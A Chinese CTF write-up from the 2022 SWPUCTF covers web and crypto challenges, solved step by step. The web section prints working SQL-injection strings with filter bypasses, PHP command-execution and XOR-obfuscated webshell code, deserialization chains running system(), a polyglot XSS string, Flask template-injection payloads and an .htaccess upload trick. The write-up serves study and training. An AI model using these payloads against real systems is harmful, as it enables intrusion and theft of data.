2022 SWPUCTF Web+Crypto方向wp

2023-11-05

2022 SWPUCTF WP

web

欢迎来到web安全

签到题,F12直接找出flag在这里插入图片描述

easy_sql
  1. 首先根据提示传入?wllm=1看看有无回显
    在这里插入图片描述

  2. 然后我们发现了正常回显,接着用单引号试试闭合方式
    在这里插入图片描述

  3. 通过对回显错误信息的分析,为了方便观察,我把包裹的引号隔开’ ‘1’’ LIMIT 0,1 ’
    这样我们很容易发现后面多出来了一个引号,由此可知该题为单引号闭合字符型漏洞
    下面我们尝试用order by爆出列数

    在这里插入图片描述

  4. 当order by 4的时候返回没有这个clause,我们再尝试使用order by 3无报错,那么下一步进行联合查询在这里插入图片描述

  5. 下面直接放出payload

    //爆表
    ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    //爆列名
    ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
    //爆字段
    ?wllm=-1' union select 1,2,group_concat(fllaag) from test_tb--+
    
  6. 得到最终flag
    在这里插入图片描述

happy_rce
  1. 首先进去题目如图在这里插入图片描述

  2. 提示post一个url,这里if判断条件里有isset用于判断是否传入了url参数,那就post请求传url=1看看,这里可以用hackbar或者burp suite都可

  3. 然后if里面还有一个校验cookie的语句,按提示改就行
    在这里插入图片描述

  4. 回显了一个php文件,直接看看里面是什么
    在这里插入图片描述

  5. 这里过滤了很多,但是没有过滤system和ls,所以我们可以利用其查看文件目录

    ?url=system('ls');
    

    但是里面没有看到类似flag的东西,那就进入根目录看看,但是空格被过滤了,可以用${IFS}绕过

    ?url=system('ls${IFS}/');
    

    然后想办法读取文件,cat tac tail都被过滤了,那我们还可以利用nl查看文件内容,这里发现数字被过滤了,我们想到了*来匹配,但是*也被过滤了,尽管如此,我们还可以用?来匹配单个字符

    ?url=system('nl${IFS}/flllllllll?aaaaaaaaaag');
    

    最后得出flag在这里插入图片描述

  6. 下面再再介绍一种非预期解,利用异或然后post传参直接cat读取flag,这里用的师傅的payload,贴上他的博客

    a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
    P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
    拼接起来:
    $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
    $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
    $___=$$__; //$___=$_POST
    $_($___[_]);//assert($_POST[_]);
    放到一排就是:
    $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
    

    在这里插入图片描述

do_not_wakeup
  1. 从这道题的标题便可以猜到这题是在考察php反序列化绕过__wakeup()函数

  2. 在这里插入图片描述

  3. 简单阅读代码可以发现,__wakeup()方法会首先被激活,覆盖变量的值使flag不能被回显,因此这里需要绕过__wakeup()方法,__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数。只要序列化序列化的中的成员数大于实际成员数,即可绕过。

    <?php
    class A
    {
        private $are_you_a_hacker;
    
        public function __construct()
        {
            $this->are_you_a_hacker='yesyesyes';
        }
    }
    $a=new A();
    echo  urlencode(serialize($a));
    ?>
    

    这里是private不能从外面进行赋值,而且序列化后会出现特殊的东西,我们url编码一下方便复制,

    O%3A1%3A%22A%22%3A1%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D
    

    然后讲成员数改成2即可,post传入得到flag

    data=O%3A1%3A%22A%22%3A2%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D
    

    在这里插入图片描述

newnew
  1. 看到题目
    在这里插入图片描述

  2. 分析代码,下面的报错是因为多加了一个new Exception类,然而没有对应的catch语句,造成了严重级别的错误使得程序提前退出了,这样反序列化对象不能被正常销毁,__destruct()也就不会被调用,所以需要强制执行。这里贴两篇文章利用PHP垃圾回收机制构造POP链
    PHP 原生类的利用

  3. 这道题也就是利用这两个知识拿到flag,具体原理上面讲的很清楚就不再赘述,下面给出payload

    //关键函数多了个new,因此利用php原生类操作
    //找到flag所在文件
    <?php
    class A
    {
        public $a='DirectoryIterator';
        public $b='glob:///f*';
    
       
    } 
    echo serialize(array(new A, new A));
    ?>
    
    //然后将后面那个序列改成和前面一样即可
    ?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}}
    
    //读取文件,并和上面一样修改序列
    ?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}}
    

    最后得到flag在这里插入图片描述

baby_pop
  1. 进入题目可知传入参数source查看class.php文件
    在这里插入图片描述

  2. 然后就是一个反序列化构造pop链的题

     <?php
    
    class dstbp
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    
        public function __invoke()
        {
            ($this->cmd)($this->content);
        }
    }
    
    class m1sery
    {
        public $ctf;
        public $time = "Two and a half years";
    
        public function __construct($ctf)
        {
            $this->ctf = $ctf;
        }
    
    
        public function __toString()
        {
            return $this->ctf->show();
        }
    
        public function show(): string
        {
            return $this->ctf . ": Duration of practice: 2.5 years";
        }
    
    
    }
    
    class s0rry
    {
        private $name;
        private $password;
        public $hint = "hint is depend on you";
        public $key;
    
        public function __construct($name, $password)
        {
            $this->name = $name;
            $this->password = $password;
        }
    
    
        public function __destruct()
        {
            echo $this->hint;
        }
    
    
    }
    
    class jiangnaij
    {
        protected $code;
    
    
        public function __call($name, $arguments)
        {
            ($this->code)();
        }
    } 
    ?>
    

    可以从目标函数开始分析,也就是dstbp类里的($this->cmd)($this->content);可以控制变量的值去获取flag,要想执行该函数先激活__invoke()方法,该类在调用函数的方式调用一个对象时会被激活,那么可以利用__call()方法里的($this->code)();激活,该方法又可以被m1sery类中的return $this->ctf->show();激活,那么继续往前推,需要echo $this->hint;来激活__tostring()方法,那么整条链子就构造出来了,下面给出php代码

    <?php
    class dstbp
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    }
    
    class m1sery
    {
        public $ctf;
    }
    
    class s0rry
    {
        public $hint;
        public $key;
    }
    
    class jiangnaij
    {
        protected $code;
    	public function __construct($a)
        {
            $this->code = $a;
        }
    	
    }
    $b=new s0rry();
    $c=new m1sery();
    $b->hint=$c;
    $a=new dstbp('system',"ls /");
    $d=new jiangnaij($a);
    $c->ctf=$d;
    var_dump(urlencode(serialize($b)));
    ?>
    

    最终拿下flag
    在这里插入图片描述

    这里覆盖掉了环境变量,如果没覆盖也可以用system(‘env’)或者直接看phpinfo

happy_php
  1. 在这里插入图片描述

  2. 知识点套娃题,由外到内一个一个解开就好了

  3. 首先是md5截断比较,写个能跑的脚本就行

    from multiprocessing.dummy import Pool as tp
    import hashlib
    import datetime
    knownMd5 = '666666'      #已知的md5明文
    
    def md5(text):
        return hashlib.md5(str(text).encode('utf-8')).hexdigest()
    
    def findCode(code):
        key = code.split(':')
        start = int(key[0])
        end = int(key[1])
        for code in range(start, end):
            if md5(code)[0:6] == knownMd5:
                print(code)
                #获取最后时间戳并格式化
                fi1 = int(datetime.datetime.now().strftime('%S'))
                fi2 = int(datetime.datetime.now().strftime('%f'))
                fi = fi1 + fi2 / 1000000
                print("您的用时:" + str(fi - st) + "s")
                break
    list=[]
    # 获取初始时间戳并格式化,用于计时,对功能p用没得
    st1 = int(datetime.datetime.now().strftime('%S'))
    st2 = int(datetime.datetime.now().strftime('%f'))
    st = st1 + st2 / 1000000
    for i in range(1):    # 这里的range(number)指爆破出多少结果停止
        list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
    pool = tp()    # 使用多线程加快爆破速度
    pool.map(findCode, list)
    pool.close()
    pool.join()
    
  4. 然后是一个md5弱比较,可以用数组绕过,也可以用0e绕过,详细可见这篇文章

  5. 接着是一个md5碰撞,php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

    所以我们需要一个,md5前不相等,而md5后全等的

    array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    
  6. 最后get传入对应值即可获得flag

    <?php
    $a=0.58;
    echo intval($a * 100);#57
    ?>
    
easy_xss
  1. 后续更新了hint
    在这里插入图片描述

  2. 根据后台代码将前后两个script标签闭合掉,可以实现xss注入,弹窗弹flag字段即可获得flag

    ';</script><script>alert('flag')</script><script>var s='1
    
  3. 或者直接使用通用 XSS 攻击字串手动检测 XSS 漏洞

    /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("flag")  )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("flag")//>\x3e`
    

    能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

baby_ssrf
  1. flag1:
    POST传入

     url=http://sudo.cc/flag.php
    

    然后查看源码即可,这里试了短链接重定向绕过但是被过滤了

  2. flag2:
    访问/.git得到

  3. flag3:
    源码漏洞扫描,用御剑扫就行,flag3在wwwroot.zip里面

sql2
  1. 在这里插入图片描述

  2. 根据提示可以猜测是GET型报错注入

  3. 首先判断闭合方式,然后用大小写等绕过各种WAF

    //爆库
    ?wllm=-1%27/**/oR/**/extrAcTvAlUe(1,coNCat(0x7e,database()))%23
    //爆表
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/INFORMATION_SCHEMA.tables/**/WHERE/**/TABLE_SCHEMA=DATABASE())))%23
    //爆列名
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/INFORMATION_SCHEMA.columns/**/WHERE/**/TABLE_name='test_tb')))%23
    //爆字段内容
    

    在这里插入图片描述

    //这里显示不完全可以用substr()函数截取字符串
    ?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,substr((SELECT/**/GROUP_CONCAT(flag)/**/FROM/**/test_tb),20)))%23
    
php_upload
  1. 思路是传入图片马,然后用文件包含,连上蚁剑获取flag

  2. 在这里插入图片描述

  3. 在这里插入图片描述

  4. 在这里插入图片描述

can_you_faster
  1. 通过阅读内容我们可以知道这是人类难以完成的工作,那么我们就借助计算机的算力,写一个python脚本,这里用到了re库和requests库,建议结合函数用法食用,查看源代码,我们利用正则匹配到要计算的式子,利用eval进行计算,下面给出python脚本源码
    import time
    import requests
    import re
    session = requests.session() 		//会话保持,不然每次都是算第一题
    while 1:
        url = "http://175.24.172.136:30050/"
        a=str(session.get(url).text)		//返回网页的内容
        result = re.compile(">(.*)= </a></div") //正则匹配到要算的式子
        res1=re.compile("</a>加油!还差(.* ?)道题</div>") //匹配到计算的进度
        aa=result.findall(a)  
        f="".join(aa)
        r = re.sub("<a style=\"color: #9191ff\">", "", f) //去除匹配中多余的东西
        e=r[0:-1]
        d=eval(e)
        data={
            'result':d
        }
        time.sleep(1)
        res = session.post(url=url,data=data)
    
        bb = res1.findall(res.text)
        print(bb)
        flag = re.compile('(swpu\{.+?\})').findall(res.text)
        print(flag)
    
easy_flask
  1. 根据提示,这是一道没有过滤的SSTI漏洞,首先进去看到HINT直接点进去,既然是ssti,我们试试url加上{{7*7}}看看会发生什么
    在这里插入图片描述

  2. 说明我们找对地方咯
    查看一手

    {{config}}
    

    在这里插入图片描述

    发现环境变量好像可以利用的样子,那就试试

    {{config.__class__.__init__.__globals__['os'].popen('env').read()}}
    

    没想到真出了

  3. 当然也可以常规的ls命令列出目录,然后利用cat等读取

  4. 下面给出绕过过滤的一些payload
    下面开始列出所有子类

    //如果关键词被过滤,可以用拼接
    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}
    

    然后找一下可利用的子类以及下标

    all_class = "<class 'type'>, <class 'weakref'>"
    all_class = all_class.split(',')
    for n in range(len(all_class)):
    	if 'os' in all_class[n]:
    		print('{} {}'.format(n, all_class[n]))
    

    运行如下

    PS C:\Users\Administrator\Downloads> python .\code.py
    87  <class 'posix.ScandirIterator'>
    88  <class 'posix.DirEntry'>
    117  <class 'os._wrap_close'>
    260  <class 'tempfile._TemporaryFileCloser'>
    475  <class 'werkzeug.wsgi.ClosingIterator'>xxxxxxxxxx PS C:\Users\Administrator\Downloads> python .\code.py87  <class 'posix.ScandirIterator'>88  <class 'posix.DirEntry'>117  <class 'os._wrap_close'>260  <class 'tempfile._TemporaryFileCloser'>475  <class 'werkzeug.wsgi.ClosingIterator'>123456
    

    然后执行命令即可

    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
    

    另外还有一些命令执行的绕过cat、flag等关键字被过滤,简单绕过一下读取flag即可

    {{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('ls').read()}}
    

    如果过滤了{{ . [ _ \x request print string这些

    {{ :用{%%}代替

    . :用attr()代替

    [ :用getitem()代替

    \x : 用Unicode代替

    print,request,string:不用管用不到,直接执行命令就行

  5. 再补充一个

    无回显的payload框架:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
    

    使用这个框架可以不用回显就能拿到命令执行的eval方法

easy_include
  1. 首先进行代码审计
    在这里插入图片描述

  2. 上面定义了一个WAF函数,然后需要我们传入两个参数key和file,先要绕过call_user_func()回调函数的返回值弱比较 可以用session_start,error_reporting,json_last_error

  3. 接着因为前面已经包含过一次文件了,所以我们要绕过include_once限制

    file=php://filter/read=convert.BAse64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
    

    得到一串base64编码的东西,解码后得到flag

ez_upload
  1. 在这里插入图片描述

  2. 根据提示要借助配置文件和编码转换的力量,那么首先传入.htaccess文件

    可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。
    AddType application/x-httpd-php .abc
    php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc”
    把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php phpinfo();?>加密变成PD9waHAgcGhwaW5mbygpOz8+

  3. 然后上传马shell.abc,用蚁剑连接即可找出flag

  4. 当然这是非预期解,给出的提示蛮多没用到,那么提示是为什么呢,因为本来还有一个绕过open_basedir设置的,这文章介绍的很全面。

sql3
  1. 布尔盲注

Crypto

善哉善哉
  1. 下载是个7z文件,那重命名为1.7z解压出一张图片,明显是图片隐写,放到winHEX试一试,发现文件尾有一串看着像摩斯密码的字符串在这里插入图片描述

  2. 复制到解密工具解密
    在这里插入图片描述

  3. 看到新佛曰就知道是什么加密了,下面给出佛曰那一套解密工具
    新佛曰
    佛曰
    佛又曰

  4. 在这里插入图片描述

    32位md5加密后,格式包裹一下就得到flag了

AES
  1. 解压后打开py文件,根据题目,这是AES加密算法,给出了密钥和密文以及表
    在这里插入图片描述

  2. 那么直接利用python的AES库解出明文即可

    import base64
    from Crypto.Cipher import AES
    
    iv = '1229002635654321'
    key = 'nssctfneedcrypto'
    data = '862EoKZMO3sqpNlzyvIW5G/8MFeAI/zgGXcgi5eNOL8='
    
    def AES_de(key, data):
        # 解密过程逆着加密过程写
        # 将密文字符串重新编码成二进制形式
        data = data.encode("utf-8")
        # 将base64的编码解开
        data = base64.b64decode(data)
        # 创建解密对象
        AES_de_obj = AES.new(key.encode("utf-8"), AES.MODE_CBC, iv.encode("utf-8"))
        # 完成解密
        AES_de_str = AES_de_obj.decrypt(data)
        # 去掉补上的空格
        AES_de_str = AES_de_str.strip()
        # 对明文解码
        AES_de_str = AES_de_str.decode("utf-8")
        return AES_de_str
    
    
    data = AES_de(key, data)
    print(data)   #NSSCTF{NSS_CRYPTO_NEED_YOU_0000}
    
爆破MD5
  1. //给出的信息
    data='Boom_MD5****'
    flag=MD5(data)
    print(flag)
    #0618ac93d4631df725bceea74d0*****
    
  2. 不难看出这是md5明文密文缺失,下面给出爆破脚本

    import hashlib
    
    for i in range(32, 127):
        for j in range(32, 127):
            for k in range(32, 127):
                for l in range(32, 127):
                        m = hashlib.md5()  # 获取一个md5加密算法对象
                        m.update(str('Boom_MD5' + chr(i) + chr(j) + chr(k) + chr(l)).encode("utf-8"))  # 指定需要加密的字符串
                        des = m.hexdigest()
                        if '0618ac93d4631df725bceea74d0' in des:  # 如果得到的密文和我们预期的密文相同,输出
                            print(des)
    #data='Boom_MD5****'
    #flag=MD5(data)
    #print(flag)
    #0618ac93d4631df725bceea74d0*****
    
Welcome to Modern Cryptography
  1. 在这里插入图片描述

  2. 给了三个文件,密文,公钥和私钥,点进去的内容不难看出这是一道RSA解密

  3. 直接放工具梭哈
    在这里插入图片描述

All in Base

这道题涉及base32,base45,base62,base64,acill85,然后根据特征来解密就好,basecrack解不了base45,那就给出解密网站,需要科学上网

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2022 SWPUCTF Web+Crypto方向wp 的相关文章

  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 网络安全从入门到精通(超详细)学习路线

    首先看一下学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想
  • The Planets:Venus

    靶场下载 The Planets Venus VulnHub 信息收集 arp scan l Interface eth0 type EN10MB MAC 00 0c 29 43 7c b1 IPv4 192 168 1 60 Starti
  • SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

    0x01 产品简介 SpiderFlow是新一代爬虫平台 以图形化方式定义爬虫流程 以流程图的方式定义爬虫 不写代码即可完成爬虫 是一个高度灵活可配置的爬虫平台 0x02 漏洞概述 SpiderFlow爬虫平台src main java o
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 网络安全(黑客)自学

    1 网络安全是什么 网络安全可以基于攻击和防御视角来分类 我们经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 2 网络安全市场 一 是市场需求量高 二 则是发展相对成熟入门比较容易 3 所需要的
  • 数据加密保障数据安全

    一 目标 1 1 预研需求 数据加密是安全领域中常用的安全措施 它们的主要作用是保护数据的机密性和完整性 以防止未经授权的访问 窃取 篡改或泄漏敏感信息 数据传输加密 保护敏感数据在传输过程中的安全 当数据通过网络传输时 它们可能会经过多个
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b

随机推荐

  • 10. 数据类型 - 元组详解

    Hi 大家好 我是茶桁 之前两节分别介绍了字符串和列表 今天 我们来讲讲另外一个常用到的数据类型 元组 元组和列表很像 两者都是一组有序的数据的组合 但是也有很多不同点 比如元组内的元素一旦定义了就不可以再修改 因此元组称为不可变数据类型
  • UIKit框架之—— UIButton

    按钮通常使用 Touch Up Inside 事件来体现 能够抓取用户用手指按下并在该按钮上松开发生的事件 当检测到事件后 便可能触发相应视图控件中的操作 IBAction 创建一个按钮 初始化按钮的frame UIButton butto
  • DVWA系列Web常见漏洞XSS(DOM)源码分析及漏洞利用

    前言 本期主要讲解什么是基于DOM的XSS漏洞 XSS DOM 漏洞攻击实例 基于DOM的XSS漏洞产生的原因以及一般会在何处产生 最后讲解如何利用基于DOM的XSS漏洞 如XSS经典的窃取cookie等 DOM 全称Document Ob
  • 人脸检测(图像处理)

    FaceDetector类支持从指定的位图中检测出人脸所在的区域 检测结果用DetectedFace对象表示 人脸检测结果可以从DetectedFace类公开的FaceBox属性中获取 包含人脸区域相对于位图的位置 例如X和Y坐标 以及宽度
  • SIEM 中不同类型日志监控及分析

    安全信息和事件管理 SIEM 解决方案通过监控来自网络的不同类型的数据来确保组织网络的健康安全状况 日志数据记录设备上发生的每个活动以及整个网络中的应用程序 若要评估网络的安全状况 SIEM 解决方案必须收集和分析不同类型的日志数据 什么是
  • java需要掌握的知识点

    一阶段 JavaSE基础 第一步 夯实Java基础语法 1 Java语言的发展史 2 JDK的下载和安装 3 DOS命令的介绍和使用 4 Path环境变量的配置 5 第一个代码HelloWorld案例 6 NotePad 软件的安装和使用
  • 小程序踩坑

    1 swiper 点击 class不能使用原生名字 去掉round dot才能去掉点 2 转发 3 下拉刷新 json enablePullDownRefresh true 要及时关闭刷新等待 wx stopPullDownRefresh
  • 搭建前端环境

    搭建前端环境 一 安装好谷歌浏览器 二 官网下载地址 下载 Node js Node js默认安装目录为 C Program Files nodejs 你也可以修改目录 记住 一路都是 next 下一步 最后install 等安装好 在命令
  • C语言 队列(循环队列和链队初始化进出队等基本操作)

    目录 一 队列的定义 二 循环队列 1 循环队列的储存结构 2 初始化 3 输出队列元素 4 入队 5 出队 6 取队头元素 7 求队列长度 8 源代码 三 链式队列 1 队列的链式存储结构表示 2 初始化 3 输出队列元素 4 入队 5
  • R:获取文件和目录信息

    对于实现获取文件和目录的信息 设置文件访问权限等功能 R有各种函数 file info 参数是表示文件名称的字符串向量 函数会给出每个文件的大小 创建时间 是否为目录等信息 dir 返回一个字符向量 列出在其第一个参数指定的目录中所有文件的
  • Unity3D GUI学习

    Unity3D内置有GUI 首先 使用GUI实现一个按钮 并且点击实现触发 void OnGUI GUI Button new Rect 10 10 50 50 nihaoa if GUI Button new Rect 50 50 50
  • java后台下载附件_java 后台文件下载

    public static void download HttpServletRequest request HttpServletResponse response String filePath String displayName t
  • [Orangepi 3 LTS]学习记录(二)

    本章内容基于官方手册 OrangePi 3 LTS H6 用户手册 v2 4 与自己实际操作撰写 一 设置 linux 系统终端自动登录 1 root 用户自动登录终端 先输入下面的命令创建终端自动登录的配置文件 root orangepi
  • Java中的常用日志框架合集

    目录 一 日志的概念 1 1 日志文件 1 1 1 调试日志 1 1 2 系统日志 二 Java日志框架 2 1 JUL 2 1 1 架构介绍 2 1 2 使用与日志级别 2 1 3 日志的配置文件 2 1 4 原理解析 2 2 LOG4J
  • 学习笔记-贪心算法

    贪心算法 贪婪算法 贪心算法 是指在对问题进行求解时 在每一步选择中都采取最好或者最优 即最有利 的选择 从而希望能够导致结果是最好或者最优的算法 贪婪算法所得到的结果不一定是最优的结果 有时候会是最优解 但是都是相对近似 接近 最优解的结
  • NoNodeAvailableException[None of the configured nodes are available

    遇到以上错误的解决办法 Settings settings Settings settingsBuilder put cluster name clusterName put client transport sniff true buil
  • Groovy/Spock 测试导论

    测试对于软件开发者而言至关重要 不过总会有人说 写代码是我的事 测试那是QA的工作 这样的想法真是弱爆了 因为大量的业界实践已经证明测试驱动编码可以有效地帮助开发者提升代码质量 大多数遵循TDD的Java开发者均会使用mockito或pow
  • Ant Design Vue Table 组件 getCheckboxProps 事件

    Ant Design Vue Table 组件 getCheckboxProps 可选择事件 版本 实现效果 代码实现 版本 Ant Design Vue 版本 1 7 8 Vue 版本 2 X 实现效果 达到一定的条件 禁用某一行 不能勾
  • openGL之API学习(一八八)glVertexAttribPointer和glVertexPointer

    在之前的OpenGL版本里 每个属性都对应了一个特定的通道 我们使用glVertex glTexCoord glNormal 或者通过访问指针函数glVertexPointer glTexCoordPointer orglNormalPoi
  • 2022 SWPUCTF Web+Crypto方向wp

    文章目录 2022 SWPUCTF WP web 欢迎来到web安全 easy sql happy rce do not wakeup newnew baby pop happy php easy xss baby ssrf sql2 ph